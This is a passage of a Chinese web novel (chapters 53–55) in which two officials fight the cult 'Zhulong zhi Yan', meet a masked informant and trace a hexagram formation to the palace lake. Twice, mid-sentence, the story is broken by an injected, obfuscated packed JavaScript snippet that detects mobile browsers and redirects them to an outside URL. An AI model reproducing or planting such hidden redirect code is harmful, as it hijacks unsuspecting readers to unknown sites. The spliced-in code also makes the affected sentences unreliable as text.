那人背对着他们，身穿黑色长袍，头发花白，身形佝偻。听到脚步声，他缓缓转过身来。 看到那张脸的瞬间，江清砚和谢云辞同时一震—— 是王书吏！ 那个在刑部待了二十年，沉默寡言，看似平凡无奇的王书吏！ “王书吏……”江清砚的声音有些干涩。 王书吏看着他们，脸上露出一个诡异的笑容:“江郎中，谢大人，老朽等你们很久了。” “你就是玄机道人？”谢云辞的刀已经出鞘半寸。 “正是，”王书吏——或者说玄机道人——坦然承认，“在刑部待了二十年，终于等到了江谢两家的传人齐聚。真是……天意啊。” 他的目光落在江清砚胸前的青木玉佩上，眼中闪过贪婪:“江家的钥匙带来了，谢家的呢？” “你不配知道。”谢云辞冷声道。 “呵呵，”玄机道人笑了，“没关系，只要你们人来了，钥匙迟早能拿到。” 他拍了拍手，殿堂四周的阴影中，突然走出十几个人——有男有女，有老有少，全都眼神空洞，面无表情，如同行尸走肉。 “这些是‘烛龙之眼’最忠诚的信徒，”玄机道人的声音带着狂热，“他们自愿献出自我，获得‘圣眼’的恩赐，成为了超越凡人的存在。很快，你们也会成为他们的一员。” “做梦。”谢云辞的刀完全出鞘。 “那就试试吧，”玄机道人退到祭坛后，“抓住他们，要活的。” 那些信徒如同收到命令的傀儡，同时扑了上来！ 战斗瞬间爆发。 这些信徒的身手诡异，力大无穷，而且完全不知疼痛，即使受伤也继续攻击。谢云辞和三个亲卫陷入苦战，江清砚则被护在中间，用毒粉和暗器辅助。 但敌人太多了，而且源源不断。更可怕的是，祭坛上那只眼睛雕像，开始散发出红色的光晕，照射在信徒身上，他们的力量似乎又增强了几分。 “必须破坏那个雕像！”江清砚喊道。 谢云辞一刀砍翻一个信徒，想要冲向祭坛，却被更多的信徒拦住。三个亲卫已经有一个倒下，另外两个也受伤不轻。 就在这时，江清砚注意到，那只眼睛雕像的瞳孔——那颗血红色宝石，似乎与青木玉佩产生了某种共鸣，正在微微发光。 他心一横，摘下玉佩，咬破手指，将血滴在玉佩上，然后用力将玉佩掷向雕像！ “不要！”玄机道人惊呼。 但已经晚了。沾了血的青木玉佩撞在红色宝石上，发出刺眼的光芒。两种光芒交织、碰撞、然后—— “轰！！！” 宝石炸裂，雕像上的眼睛出现了一道裂痕。红色的光晕骤然消失，那些信徒的动作同时一滞，眼中的空洞变成了茫然。 “不——！”玄机道人惨叫着扑向雕像，但已经来不及了。裂痕迅速蔓延，整个雕像轰然崩塌！ 雕像崩塌的瞬间，地宫开始剧烈震动。穹顶出现裂缝，碎石如雨般落下。 “地宫要塌了！”谢云辞一把抓住江清砚，“撤！” 众人转身就往外冲。那些信徒恢复了神智，惊恐地四散奔逃。玄机道人想要阻拦，但被一块落下的巨石砸中，惨叫声淹没在崩塌的轰鸣中。 冲出甬道，冲出大门，石桥上的傀儡兵也失去了动力，纷纷散架。两条船还在岸边，众人跳上船，拼命划桨。 身后，地宫在崩塌，湖水翻涌，形成漩涡。他们拼命划船，终于冲出了湖泊，回到了暗河通道。 一路不停，直到回到清风观的暗道入口，爬出废墟，回到地面，众人才停下来喘息。 回头望去，整个清风观废墟又下沉了数尺，地面出现了一个巨大的凹陷。地宫，彻底毁了。 天边，已经泛起了鱼肚白。 “结束了？”江清砚靠在谢云辞怀里，疲惫地问。 “至少这个据点结束了，”谢云辞看着天边的曙光，“但‘烛龙之眼’还在。玄机道人死了，还会有其他人。” “那就继续查，”江清砚闭上眼睛，“直到把他们连根拔起。” “嗯，继续查。” 晨光渐亮，新的一天开始了。 但暗处的斗争，还远未结束。 53. 第 53 章 第五十三章神秘人现身 九月二十，秋雨绵绵。 谢府书房内，江清砚站在窗前，看着檐下淅淅沥沥的雨帘。距离清风观地宫崩塌已过去三日，这几日京城表面上风平浪静，但他知道，暗流从未停歇。 “大人，陈七回来了。”门外传来亲卫的声音。 谢云辞放下手中的卷宗:“让他进来。” 陈七推门而入，身上还带着雨水的湿气。他行了礼，神色凝重:“大人，江郎中，地宫废墟已经清理出来了。在里面……发现了二十七具尸骸。” “二十七具？”谢云辞皱眉。 “对，都是最近几年的失踪者，除了那七个富商和赵四，”陈七递上一份名单，“我们根据尸骸上的衣物和随身物品，初步辨认出了十五人的身份，剩下的还在查。” 江清砚接过名单，目光扫过那些名字。有商人，有书生，有工匠，甚至有两位低品官员。看似毫无关联，但他们的失踪时间，都集中在每月的十五——月圆之夜。 “月圆之夜……”他喃喃道。 “据幸存的信徒说，”陈七继续禀报，“‘烛龙之眼’每月十五都会举行祭祀，需要‘祭品’。祭品被带入地宫，献祭给‘圣眼’，然后……”他顿了顿，声音有些发颤，“然后他们的精气会被吸干，变成干尸。” 书房内的气氛骤然凝重。 “玄机道人的尸体找到了吗？”谢云辞问。 “找到了，被压在祭坛下，已经确认死亡，”陈七说，“但在他身上，发现了一件东西。” 他从怀中取出一个油布包，小心打开。里面是一枚令牌——玄铁打造，正面雕刻着一只燃烧的眼睛，背面是两个字:“玄机”。 “这是‘烛龙之眼’高层的身份令牌，”陈七说，“据俘虏的信徒交代，这样的令牌共有八枚，对应‘八大护法’。玄机道人是京城地区的护法，其他七人，分散在各地。” 八大护法…… 江清砚和谢云辞对视一眼。一个玄机道人就如此难缠，如果还有七个，那这个组织的势力，恐怕比他们想象的更庞大。 “还有，”陈七压低声音，“在清理地宫时，我们发现了一条密道，不是通往地下河，而是……通往宫中。” “什么？！”谢云辞猛地站起。 “密道很深，走了约三里，尽头是一堵墙，墙后应该是宫内的某处，”陈七的神色极其严肃，“我们没敢再挖，怕打草惊蛇。” 宫中……江清砚想起林远供出的那个太监。如果“烛龙之眼”真的有密道直通皇宫，那宫内的渗透，恐怕已经深入骨髓了。 “此事必须立刻禀报陛下，”谢云辞当机立断，“陈七，你带人守着那条密道，不许任何人靠近。我这就进宫。” “等等，”江清砚叫住他，“这个时辰，陛下应该在早朝。而且……”他顿了顿，“你直接去说，恐怕会惊动宫中可能存在的眼线。” 谢云辞明白他的顾虑。如果宫中真有“烛龙之眼”的人，贸然禀报，可能会让那些人提前警觉，甚至销毁证据。 “那你的意思是……” “用密折，”江清砚走到书案前，铺开纸笔，“我写一份详细的奏报，你通过六扇门的秘密渠道呈给陛下。这样更稳妥。” 谢云辞想了想，点头:“好。” 江清砚提笔疾书，将清风观地宫的发现、八大护法的存在、以及那条通往宫中的密道，一一写明。写完后，他用特制的药水在纸角画了一个眼睛图案——这是他和谢云辞约定的密信标记，只有陛下和周尚书知道。 信密封好，谢云辞唤来一个信得过的亲卫:“立刻送到老地方，加急。” “是。” 亲卫离开后，书房里又恢复了安静。雨还在下，敲打着窗棂，如同某种不安的鼓点。 “清砚，”谢云辞忽然开口，“如果宫中真的……” “那就查，”江清砚的声音很平静，“无论牵扯到谁，都要查到底。” “可如果是……”谢云辞没有说完，但江清砚懂。 如果是太后，是三皇子，甚至是陛下身边最亲近的人呢？ “那也要查，”江清砚看着他，“陛下将龙影令交给你，就是将清查奸邪的重任交给了我们。我们不能因为对方位高权重，就退缩。” 谢云辞看着江清砚清澈而坚定的眼睛，心中的疑虑渐渐消散。是啊，如果因为畏惧权势就放弃追查，那他们和那些蝇营狗苟的官员又有什么区别？ “你说得对，”他握住江清砚的手，“无论面对什么，我们都一起。” 掌心传来的温度，让江清砚的心安定下来。他微微一笑，正要说什么，门外突然传来急促的脚步声。 “大人！有人送来了这个！” 一个亲卫冲进来，手中捧着一个木盒。木盒很普通，没有锁，但盒盖上贴着一张纸条:“江郎中亲启”。 江清砚和谢云辞对视一眼，后者立刻示意亲卫退下，然后亲自检查木盒。确认没有机关后，才小心打开。 盒子里只有两样东西:一枚铜钱，和一张字条。 铜钱和之前发现的那枚一模一样，边缘刻着眼睛图腾。字条上只有一行字: “今夜子时，慈恩寺废墟，独自前来。欲知谢家兵符下落，勿带他人。” 落款处，画着一个简笔的龙形图案——不是“烛龙之眼”的眼睛图腾，而是一条盘旋的龙。 “这是……”江清砚皱眉。 “龙影卫的标记，”谢云辞脸色微变，“这是陛下直属的暗卫组织，连我都只闻其名，从未见过。” 龙影卫？陛下的人？ “可信吗？”江清砚问。 “龙影卫的标记无法伪造，”谢云辞盯着那个图案，“但如果真是陛下的人，为什么要用这种方式联系我们？而且……”他拿起那枚铜钱，“这又是‘烛龙之眼’的信物。两者怎么会在一起？” 事情越来越扑朔迷离了。 江清砚沉思片刻:“无论真假，今夜都得去。如果是陷阱，我们就将计就计；如果是真的……那谢家兵符的下落，就有着落了。” “太危险了，”谢云辞反对，“慈恩寺废墟现在是是非之地，周围肯定有各方势力的眼线。你一个人去，我不放心。” “对方说‘独自前来’，但没说‘独自离开’，”江清砚眼中闪过一丝狡黠，“你可以带人在外围接应，一旦有变，立刻支援。” 谢云辞还想说什么，但知道劝不住，最终妥协:“好。但你要答应我，一旦发现不对，立刻发信号。我会带人冲进去。” “嗯。” 接下来的半天，两人都在做准备。江清砚检查了随身携带的毒粉、解药和暗器，又特制了几种新的防身药物。谢云辞则调集了最精锐的人手，在慈恩寺周围布下天罗地网。 酉时三刻，天色已暗。雨停了，但云层很厚，月光时隐时现。 江清砚换上一身深蓝色劲装，外面罩着披风，看起来像是夜行的侠客。他将匕首藏在袖中，毒粉藏在腰带夹层，又戴上了谢云辞给的那枚护身玉佩。 “小心。”谢云辞为他系好披风，动作轻柔，眼神却凝重如铁。 “你也是，”江清砚看着他，“别冲动，等我信号。” 两人在书房门口分开。江清砚上了一辆不起眼的马车，谢云辞则带着人，从另一条路赶往慈恩寺。 慈恩寺废墟在夜色中如同巨兽的骨骸。大火烧毁了大半建筑，剩下的断壁残垣在月光下投出狰狞的影子。江清砚在寺外下车，示意车夫离开，然后独自走向废墟。 踏入寺门的瞬间，一股焦糊混合着血腥的气味扑面而来。这里虽然清理过，但那股死亡的气息，依然萦绕不散。 他按照字条上的指示，走向原本大雄宝殿的位置。殿已塌，只剩几根焦黑的柱子立着。月光从云缝中漏下，照在废墟中央，那里站着一个人。 那人背对着他，身穿黑色斗篷，身形高大，站姿笔挺，如同标枪。听到脚步声，他缓缓转过身。 斗篷的兜帽遮住了大半张脸，只能看到下巴和嘴唇。但从身形和站姿判断，此人年纪不小，而且久居上位，气势逼人。 “江郎中果然守时。”那人的声音低沉沙哑，显然是经过伪装的。 “阁下约我来，不知有何指教？”江清砚停在三丈外，手按在袖中的匕首上。 “谢家兵符的下落，”黑衣人开门见山，“我知道在哪。” “条件是什么？” “聪明，”黑衣人似乎笑了一声，“条件很简单:你帮我做一件事，我告诉你兵符的下落。” “什么事？” 黑衣人从怀中取出一卷帛书，扔到江清砚脚前:“这上面列着三个名字。我要你在一个月内，让这三个人……消失。” 江清砚没有去捡帛书:“杀人？” “不一定是杀人，”黑衣人的声音平静得可怕，“可以是贬官，可以是流放，可以是意外……只要他们从朝堂上消失，不再碍事就行。” “我为什么要帮你做这种事？” “因为，”黑衣人缓缓道，“这三个人的存在，阻碍了陛下清理‘烛龙之眼’。他们或是被收买，或是被胁迫，成了‘烛龙之眼’在朝中的保护伞。除掉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863529|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们，才能让陛下放手去查。” 江清砚心中一动。这个理由，听起来很合理。如果真是这样，那他确实应该帮忙。但…… “既然是陛下的意思，为什么陛下不直接下旨处置？”他问。 黑衣人沉默片刻:“因为证据不足。这三个人都很狡猾，没有留下把柄。而且他们在朝中根基很深，轻易动不得。所以需要……特别的手段。” 听起来合情合理，但江清砚总觉得哪里不对。 “那谢家兵符……” “事成之后，我自会告诉你，”黑衣人说，“你可以选择信，也可以选择不信。但你要知道，谢家兵符不仅关系到谢家血案的真相，还关系到‘烛龙眠息之地’的秘密。没有兵符，你们永远无法打开那扇门。” 最后一句话，击中了江清砚的软肋。 他深吸一口气，弯腰捡起帛书。展开一看，上面果然写着三个名字——都是朝中重臣，一位是户部侍郎，一位是都察院副都御史，还有一位是……太常寺卿。 这三个人，他都听说过。户部侍郎张俭，是出了名的清官；都察院副都御史王诚，以刚正不阿著称；太常寺卿李墨，是当世大儒，门生遍布朝野。 这样的人，会是“烛龙之眼”的保护伞？ “我怎么知道你说的是真是假？”江清砚收起帛书。 “你可以去查，”黑衣人道，“但不要打草惊蛇。我给你一个月时间，一个月后，我们在这里再见。届时，我会告诉你兵符的下落。” 说完，他转身就要走。 “等等，”江清砚叫住他，“你到底是什么人？龙影卫？” 黑衣人停住脚步，却没有回头:“你不需要知道我是谁。你只需要知道，我们暂时是盟友，就够了。” 话音落下，他的身形忽然如鬼魅般飘起，几个起落就消失在废墟深处。 江清砚站在原地，握着那卷帛书，心中思绪万千。这个人神秘莫测，说的话半真半假，但关于谢家兵符的信息，很可能不是假的。 月光彻底隐入云层，四周一片漆黑。江清砚发信号给谢云辞，很快，谢云辞就带着人赶到了。 “怎么样？”谢云辞紧张地检查他有没有受伤。 “没事，”江清砚将帛书递给他，“你看这个。” 谢云辞接过一看，脸色骤变:“张俭、王诚、李墨？这三个人……” “你认识？” “何止认识，”谢云辞的声音低沉，“张俭是我父亲的老部下，我父亲死后，他一直暗中照顾我；王诚曾弹劾过三皇子，差点被贬；李墨……他是太后的老师。” 江清砚愣住了。 父亲的旧部，弹劾三皇子的人，太后的老师……这三个人，怎么看都不像是“烛龙之眼”的保护伞。 “那黑衣人撒谎？”他问。 “不一定，”谢云辞收起帛书，神色凝重，“也许这三个人，确实知道些什么，或者……掌握了什么证据，但出于某种原因，不能或不敢说出来。黑衣人想让我们逼他们开口，或者……灭口。” “那我们……” “查，”谢云辞眼中闪过寒光，“但不是按照黑衣人的方式查。我们要查清楚，这三个人到底知道什么，为什么会成为目标。” 两人回到谢府时，已是丑时。 书房里，蜡烛又换了一轮。江清砚将那枚铜钱放在桌上，和之前那枚并排——一模一样，边缘的眼睛图腾如同嘲讽的眼睛，冷冷地看着他们。 “黑衣人故意给了我们这枚铜钱，”江清砚分析，“是想告诉我们，他和‘烛龙之眼’有关联，但又不是完全一路人。” “或者，是想混淆视听，”谢云辞说，“让我们分不清敌友。” 两人对着两枚铜钱，沉思良久。 忽然，江清砚拿起其中一枚，仔细看那个眼睛图腾。他记得第一次看到时，就觉得这个图案有些眼熟，但一直想不起在哪见过。 现在，在烛光下，他忽然发现了什么——那个眼睛的瞳孔部分，不是简单的圆形，而是由极细微的线条组成的……一个文字？ 他拿来放大镜，对着瞳孔仔细看。果然，那些细微的线条，组成了一个古老的文字——“影”。 “影……”江清砚喃喃道，“龙影卫的影？” 谢云辞也凑过来看，脸色变了:“难道‘烛龙之眼’和龙影卫……有某种联系？” 如果真是这样，那事情就复杂了。 窗外，传来三更的梆子声。 夜还很长，谜团也越来越多。但有一点可以确定—— 这场游戏，才刚刚开始。 54. 第 54 章 第五十四章线索指向 晨光初露时，刑部衙门内已经忙碌起来。 江清砚穿过回廊，能感觉到周围的目光比往日更加复杂。清风观地宫的事虽然被压下了，但天下没有不透风的墙，刑部里已经有人在私下议论，说江郎中不只会查案，还会拆庙。 他没理会那些目光，径直走向周尚书的值房。推开门，周文渊已经在里面了，正对着一叠卷宗沉思。 “江郎中来了，”周文渊抬起头，神色有些疲惫，“坐。陛下看了你的密折，很重视。关于那条通往宫中的密道……” “陛下怎么说？”江清砚在对面坐下。 “陛下命龙影卫暗中调查，”周文渊压低声音，“但此事关系重大，陛下要求我们暂时不要声张，继续按照原计划查‘烛龙之眼’。” 江清砚点头。这是稳妥的做法。 “另外，”周文渊从抽屉里取出一份卷宗，“你看看这个。是陈文远生前最后处理的案子。” 江清砚接过翻开。这是一起“官员自缢案”，死者是工部的一名主事，名叫孙平。卷宗记录很简单:孙平在家中书房自缢身亡，留下遗书称“愧对朝廷，无颜苟活”。家人证实他最近情绪低落，常念叨“做错了事”。案子就以自杀结了。 但陈文远在卷宗上做了批注:“疑点有三:其一，孙平死前三天还在酒馆与人饮酒作乐，不似寻死之人;其二，遗书笔迹虽有八分像，但‘愧’字写法与平日习惯不同;其三，孙平颈部的勒痕角度有异，不似自缢。” “陈侍郎怀疑是他杀？”江清砚问。 “嗯，他私下派人查过，发现孙平死前曾与慈恩寺的一个和尚有过接触，”周文渊神色凝重，“但还没查清楚，陈侍郎就……” 就死了。 江清砚翻到卷宗最后，看到陈文远用朱笔写的一行小字:“孙平曾参与慈恩寺扩建审核，知某些内情？” 慈恩寺扩建……又是慈恩寺。 “这个孙平，我好像有点印象，”江清砚努力回忆，“他是不是负责过京城几处寺庙道观的修缮审核？” “对，”周文渊点头，“工部营造司的主事，京城大小寺庙道观但凡要动土，都要经过他审核。慈恩寺、清风观，还有城西的土地庙，他都经手过。” 江清砚的心跳加快了。如果孙平之死不是自杀，那很可能是被灭口——因为他知道这些地方扩建时隐藏的秘密。 “这个案子，我想接着查。”江清砚说。 “可以，”周文渊点头，“但要注意分寸。孙平虽然官职不高，但在工部多年，人脉很广。查他的死因，可能会触及某些人的利益。” “下官明白。” 离开周尚书的值房，江清砚回到自己的值房，将孙平案的卷宗仔细看了一遍。然后又调来了孙平经手过的所有工程记录。 这一看，就是一上午。 午时，王书吏送饭进来时，江清砚正对着一张京城地图，上面标着几个红点——慈恩寺、清风观、土地庙，还有另外三处寺庙。 “江郎中，您这是……”王书吏看着地图，眼神闪烁。 “随便看看，”江清砚收起地图，若无其事地问，“王书吏在刑部多年，对工部的案子熟吗？” 王书吏的手微微一抖，但很快恢复平静:“略有耳闻。工部的案子多是工程贪腐、以次充好之类，与刑部交集不多。” “孙平这个人，你听说过吗？” “孙主事？”王书吏神色如常，“听说过，是个老实人，在工部待了二十年，没出过什么大错。可惜了，想不开自缢了。” “你相信他是自缢？”江清砚抬眼看他。 王书吏避开他的目光:“这个……下官不敢妄议。” 江清砚没再追问，挥挥手让他退下了。门关上后，他重新摊开地图。六个红点，六个寺庙道观，都是孙平经手过扩建或修缮的。如果把这些点连起来…… 他拿出尺子和笔，开始连线。六个点，可以连出多条线，但有一条线，让江清砚停下了笔——六个点，正好组成一个六芒星的图案！ 六芒星，在玄学中代表平衡和封印。 而这六个点，在京城地图上的分布，恰好将皇城围在中心。 这不是巧合。 江清砚感到一股寒意从脊背升起。如果这六个寺庙道观是六个“节点”，组成一个巨大的六芒星阵，那这个阵法的作用是什么？封印？还是……监视？ 他想起清风观地宫中那个能吸收人精气的“圣眼”。如果每个节点都有类似的东西，那这个阵法可能是在持续抽取某种能量，输送到某个中心点。 那个中心点……是皇城？ 江清砚不敢再想下去。他迅速将地图收好，开始整理孙平案的疑点。下午，他要去一趟工部，查孙平生前的工作记录。 未时三刻，江清砚来到工部衙门。工部尚书不在，由一位侍郎接待。听说江清砚要查孙平的记录，那侍郎神色有些不自然，但碍于刑部的面子，还是让人取来了。 孙平的工作记录很详细，但江清砚注意到，关于慈恩寺、清风观等几处寺庙的扩建审核，记录都很简略，甚至有几处明显被涂改过。 “这些涂改……”江清砚指着记录问。 侍郎擦了擦汗:“这个……可能是孙主事自己改的，或者……誊抄时出了错。” “我想见见当年参与这些工程的人，”江清砚说，“工匠、监工、材料供应商，都行。” 侍郎的脸色更难看了:“江郎中，这些工程都是好几年前的事了，那些人早就散了，不好找啊。” “那就麻烦侍郎大人帮忙找找，”江清砚的声音平静，却带着不容拒绝的意味，“孙平死得蹊跷，他的案子现在由刑部接管。工部有义务配合调查。” 侍郎张了张嘴，最终颓然点头:“是，下官尽力。” 离开工部时，天色已近黄昏。江清砚没有直接回刑部，而是让马车拐去西市——那里是京城工匠聚集的地方。 他在一家铁匠铺前下车。铺子里叮叮当当的打铁声不绝于耳，一个光着膀子的壮汉正在锻打一块烧红的铁块。 “这位爷，打点什么？”伙计迎上来。 “我找金掌柜，”江清砚亮出那枚特殊的铜钱，“就说姓江的求见。” 伙计看到铜钱，脸色微变，恭敬道:“您稍等。” 片刻后，伙计引着江清砚穿过铺子，来到后院。院子里，一个五十多岁、面容精瘦的老者正在喝茶，正是聚宝当铺的金掌柜。 “江公子，”金掌柜起身行礼，“您终于来了。” “金掌柜认识我？”江清砚问。 “江老爷生前吩咐过，若有一天，有人持此铜钱来找我，便是江家后人，”金掌柜请江清砚坐下，倒了茶，“老朽等了十年，终于等到您了。” 江清砚心中一酸。父亲生前，竟然还为他安排了后路。 “金掌柜，我这次来，是想打听一些事，”江清砚取出那张标着六个红点的地图，“这几个寺庙道观的扩建工程，您知道吗？” 金掌柜看着地图，神色渐渐凝重:“江公子，您怎么查到这些的？” “孙平的死，可能与此有关。” 金掌柜沉默良久，缓缓道:“这些工程……老朽确实知道一些。当年，这些工程的材料采购，有一部分是通过聚宝当铺的渠道走的。但老朽发现，那些材料……有问题。” “什么问题？” “表面是普通的木材砖石，但里面掺了别的东西，”金掌柜压低声音，“有些木料是阴木——在坟地生长的树木；有些砖石是从古墓挖出来的；还有一些……是刻了符咒的。” 江清砚的心沉了下去。果然如此。 “这些工程，是谁负责采购的？”他问。 “是一个叫‘福源商行’的商户，”金掌柜说，“但老朽查过，这个商行只是个幌子，真正的背后，是宫里的某位贵人。” “宫里？”江清砚的手微微一颤。 “对，”金掌柜的声音更低了，“老朽不敢深查，只隐约听说，那位贵人……信佛信道，常捐钱修缮寺庙。但这些工程，明显不是为了修缮，而是在布阵。” 布阵……六芒星阵。 “金掌柜，您能帮我找到当年参与这些工程的工匠吗？”江清砚问，“尤其是知道内情的。” 金掌柜犹豫片刻，最终点头:“老朽尽力。但江公子，您要小心。这件事水太深， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863530|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牵扯的人……位高权重。” “我知道，”江清砚起身行礼，“谢金掌柜。” “江公子客气了，”金掌柜还礼，“老朽受江老爷大恩，无以为报。能为您做些事，是应该的。” 离开铁匠铺时，天色已经完全暗了。街上的灯笼次第亮起，将青石板路照得朦胧。 江清砚坐在马车里，脑中思绪万千。六芒星阵，宫中贵人，孙平之死，陈文远之死……这一切，都指向一个令人不安的方向。 回到谢府时，谢云辞已经回来了，正在书房里等他。 “怎么样？”谢云辞问。 江清砚将今日的发现一一说了。听到六芒星阵和宫中贵人时，谢云辞的脸色变得极其难看。 “如果真是这样……”他握紧拳头，“那‘烛龙之眼’的幕后主使，可能就在宫中，甚至可能是……” 他没有说完，但江清砚懂。 可能是太后，可能是三皇子，甚至可能是……陛下？ “不会的，”江清砚摇头，“陛下如果真是幕后主使，何必让我们去查‘烛龙之眼’？又何必给我龙影令？” “也许是为了洗清嫌疑，或者……让我们查错方向？”谢云辞的声音带着不确定。 两人陷入沉默。如果连陛下都不可信，那他们还能信谁？ 就在这时，窗外突然传来一声轻响。谢云辞立刻拔刀，江清砚也握住了袖中的匕首。 但窗外没有人。只有一支箭钉在窗棂上，箭上绑着一封信。 谢云辞警惕地取下信，检查无误后打开。信很短，只有一行字: “六芒星阵乃封印之阵，非害人之阵。阵法中心在太液池下。欲知真相，可查工部旧档‘太液池疏浚记’。” 落款处，画着一条盘旋的龙——和昨夜黑衣人的标记一样。 “又是他……”江清砚皱眉。 “封印之阵？”谢云辞盯着那行字，“如果真是封印之阵，那封印的是什么？为什么要用六个寺庙作为节点？” “太液池下……”江清砚想起太液池是皇宫内苑的湖泊，陛下和嫔妃常在那里游船，“如果中心在那里，那布阵的人……” “只有宫里的人能做到，”谢云辞接口，“而且必须是能自由出入内苑，且有权力调动工部的人。” 两人对视一眼，都想到了同一个人——太后。 太后信佛，常捐钱修庙，这是人尽皆知的事。而且太后掌管内宫，有权力在太液池动工。更重要的是，太后是三皇子的生母，如果她真的与“烛龙之眼”有关，那三皇子在其中的角色，就值得深思了。 “明天我去工部，调‘太液池疏浚记’的旧档，”江清砚说，“如果真是太后……” “先别下定论，”谢云辞打断他，“也可能是有人想嫁祸太后。毕竟太后与陛下……关系微妙。” 陛下并非太后亲生，这一点朝野皆知。这些年，太后一系与陛下之间，确实有诸多明争暗斗。 “那黑衣人到底是谁？为什么要帮我们？”江清砚困惑道。 “也许不是帮我们，而是在利用我们达成某个目的，”谢云辞分析，“他给的信息半真半假，让我们自己去查，既能借我们的手揭开真相，又能撇清自己的关系。” “那我们还查不查？” “查，”谢云辞眼神坚定，“但不是被他牵着鼻子查。我们要查清楚，这六芒星阵到底是什么，封印的又是什么。至于太后……没有确凿证据前，不要妄下定论。” 江清砚点头。这才是谨慎的做法。 夜深了，书房里的烛火跳动。 江清砚看着窗外沉沉的夜色，忽然道:“云辞，如果……我是说如果，最后查出来的真相，是我们无法承受的，怎么办？” 谢云辞走到他身边，握住他的手:“那就一起承受。无论真相是什么，无论面对谁，我们都一起。” 掌心传来的温暖，驱散了江清砚心中的寒意。他转头看向谢云辞，那双眼睛在烛光下清澈而坚定，如同夜空中最亮的星辰。 “嗯，一起。”他轻声说。 窗外，秋风萧瑟。 但屋内，暖意融融。 前路虽险，但并肩同行，便无所畏惧 55. 第 55 章 第五十五章御前陈情 九月二十一，大朝。 天还未亮，午门外已聚集了百官。秋日的晨风寒冽，吹得官袍猎猎作响，但没人敢抱怨，都肃立等待着宫门开启。 江清砚站在文官队列的末尾——他虽是刑部郎中，但资历尚浅，排在许多老臣之后。谢云辞则在另一侧的武官队列中，两人隔着人群，目光偶尔交汇，都看到彼此眼中的凝重。 今日大朝，必不平静。 昨夜工部旧档“太液池疏浚记”的发现，如同投入平静湖面的巨石，激起的涟漪已经扩散开来。今晨寅时，周尚书紧急入宫面圣，出来后只对江清砚说了一句:“今日大朝，你要有准备。” 准备什么？周尚书没说，但江清砚能猜到。 钟鼓齐鸣，宫门缓缓开启。百官鱼贯而入，沿着御道走向奉天殿。晨光初露，宫墙上的琉璃瓦泛着金光，但整座皇城却笼罩在一股无形的肃杀之气中。 奉天殿内，皇帝已高坐龙椅，冕旒垂面，看不清神色。百官山呼万岁，行礼如仪，但许多敏锐的大臣已经察觉到气氛的异样——今日陛下身边站着的，除了常侍太监，还有四位龙影卫，个个面色冷峻，手按刀柄。 “有本启奏，无本退朝。”司礼太监尖细的声音在殿内回荡。 短暂的寂静后，工部尚书出列:“臣有本奏。昨日刑部郎中江清砚，持刑部公文至工部，调阅‘太液池疏浚记’旧档。此档涉及内宫工程，按律应由内务府保管，工部无权调阅。江郎中此举，有违规制，请陛下明察。” 话音刚落，许多目光齐刷刷投向江清砚。有审视，有不解，也有幸灾乐祸。 江清砚面色平静，出列行礼:“陛下，臣调阅旧档，乃因查案所需。工部孙平之死，与多年前太液池疏浚工程有关，臣为查明真相，不得已而为之。” “查案？”工部尚书冷笑，“孙平是自杀，案子已经结了。江郎中翻旧案，是何居心？” “孙平死因存疑，陈文远侍郎生前已有批注，”江清砚不卑不亢，“臣接手此案，自当查个水落石出。若工部觉得臣违了规制，臣愿领罚。但案子，必须查下去。” “你——”工部尚书气得胡须颤抖。 “够了。”皇帝的声音不高，却让整个大殿瞬间安静。 龙椅上，皇帝缓缓抬手，示意江清砚和工部尚书归列。然后，他的目光扫过百官，最终落在江清砚身上:“江清砚，你说孙平之死与太液池疏浚有关。有何证据？” 江清砚再次出列，从袖中取出一份奏折:“陛下，这是臣昨夜整理的奏报。太液池疏浚工程于七年前开始，历时三年，耗银三十万两。但据工部记录，实际疏浚的土方量，远少于申报的工程量。多出的款项，去向不明。” 他顿了顿，继续道:“而负责审核这项工程的，正是孙平。臣查过，工程期间，孙平家中突获巨款，来源不明。工程结束后不久，孙平就‘自缢’身亡。臣有理由怀疑，孙平是因为知道工程内情，被灭口。” 大殿内一片哗然。 三十万两！这可不是小数目。而且涉及内宫工程，若是贪腐，牵扯的人恐怕…… “江郎中可有证据证明款项去向？”皇帝的声音依旧平静。 “臣在孙平遗物中，找到一本私账，”江清砚又取出一本册子，“上面记录了部分款项的流向——通过‘福源商行’，流向了慈恩寺、清风观、土地庙等六处寺庙道观的扩建工程。” 慈恩寺！清风观！ 这两个名字一出，许多大臣的脸色都变了。慈恩寺地宫的事虽然被压下，但朝中高层多少都听到了风声。 “而这六处寺庙道观，”江清砚提高声音，“在京城地图上的分布，恰好组成一个六芒星阵，阵法中心，正是太液池！” “轰——” 大殿彻底炸开了锅。六芒星阵，太液池，这已经不是简单的贪腐案了，而是涉及玄学、阵法，甚至可能……涉及巫蛊！ “肃静！”司礼太监尖声喝道。 大殿渐渐安静下来，但所有人的目光都聚焦在江清砚身上。这个年轻的刑部郎中，今日是要捅破天啊。 皇帝沉默良久，缓缓道:“江清砚，你说六芒星阵，阵法中心在太液池。可有凭据？” “臣在工部旧档中，找到了当年疏浚工程的图纸，”江清砚呈上图纸，“图纸显示，疏浚时在太液池底埋设了大量特制的石桩，按照特定的方位排列。臣请教过精通玄学的学士，确认这是一个阵法的阵眼布置。” 图纸被太监呈上御案。皇帝看了片刻，忽然问:“江清砚，你可知这六芒星阵，是何用途？” 